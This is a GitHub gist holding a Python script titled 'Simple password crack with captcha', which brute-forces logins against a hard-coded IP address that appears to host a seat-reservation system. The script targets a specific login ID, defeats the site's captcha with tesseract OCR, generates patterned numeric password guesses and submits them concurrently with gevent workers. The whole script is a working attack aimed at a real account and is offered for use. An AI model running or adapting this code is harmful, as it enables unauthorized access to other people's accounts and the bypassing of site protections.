Created
August 8, 2015 10:53
-
-
Save lfyzjck/a3efba55120a17af6605 to your computer and use it in GitHub Desktop.
Simple password crack with captcha ( using tesseract )
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/python | |
# encoding=utf-8 | |
import gevent | |
import gevent.monkey | |
gevent.monkey.patch_all() | |
import re | |
import functools | |
from cStringIO import StringIO | |
from itertools import permutations | |
from Queue import Queue | |
import requests | |
from PIL import Image | |
from pytesseract import image_to_string | |
tasks = Queue() | |
message_pattern = re.compile( | |
r'<div style="color:#\w+;" align="center">(.*)</div>') | |
LOGIN_ID = '000860372671' | |
URL = r'http://218.246.23.253/webseat/reservationGau/login.action' | |
LOGIN_URL = r'http://218.246.23.253/webseat/reservationGau/login.action' | |
CAPTCHA_URL = r'http://218.246.23.253/webseat/webSiteGau/rand.jsp' | |
def get_page(url): | |
return requests.get(url) | |
def login_to(url, cookies, login_id, passwd, captcha): | |
params = { | |
'user.listi': '', | |
'user.loginId': login_id, | |
'user.password': passwd, | |
'user.amount': captcha, | |
} | |
return requests.post(url, cookies=cookies, params=params) | |
def get_captcha(url): | |
return requests.get(url) | |
def crack_captcha(buffer): | |
return image_to_string(Image.open(StringIO(buffer))) | |
def passwd_generator(length=4): | |
for seq in permutations('0123456789', length): | |
yield "2%s6" % ''.join(seq) | |
def passwd_generator2(): | |
for i in range(8700, 10000): | |
yield "2%04d5" % i | |
def gen_task(passwd, cookies, captcha): | |
resp = login_to(LOGIN_URL, cookies, LOGIN_ID, passwd, captcha) | |
result = check_result(resp.text) | |
if result: | |
return "passwd: %s, msg: %s" % (passwd, result.group(1)) | |
else: | |
return "passwd: %s, msg: %s" % (passwd, resp.text) | |
def boss(): | |
captch_resp = get_captcha(CAPTCHA_URL) | |
cookies = captch_resp.cookies | |
captcha = crack_captcha(captch_resp.content) | |
for passwd in passwd_generator2(): | |
tasks.put_nowait(functools.partial(gen_task, passwd, cookies, captcha)) | |
def worker(n): | |
while not tasks.empty(): | |
task = tasks.get() | |
print task() | |
gevent.sleep(0) | |
def check_result(content): | |
return message_pattern.search(content) | |
if __name__ == '__main__': | |
gevent.spawn(boss).join() | |
gevent.joinall([gevent.spawn(worker(i)) for i in range(10)]) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment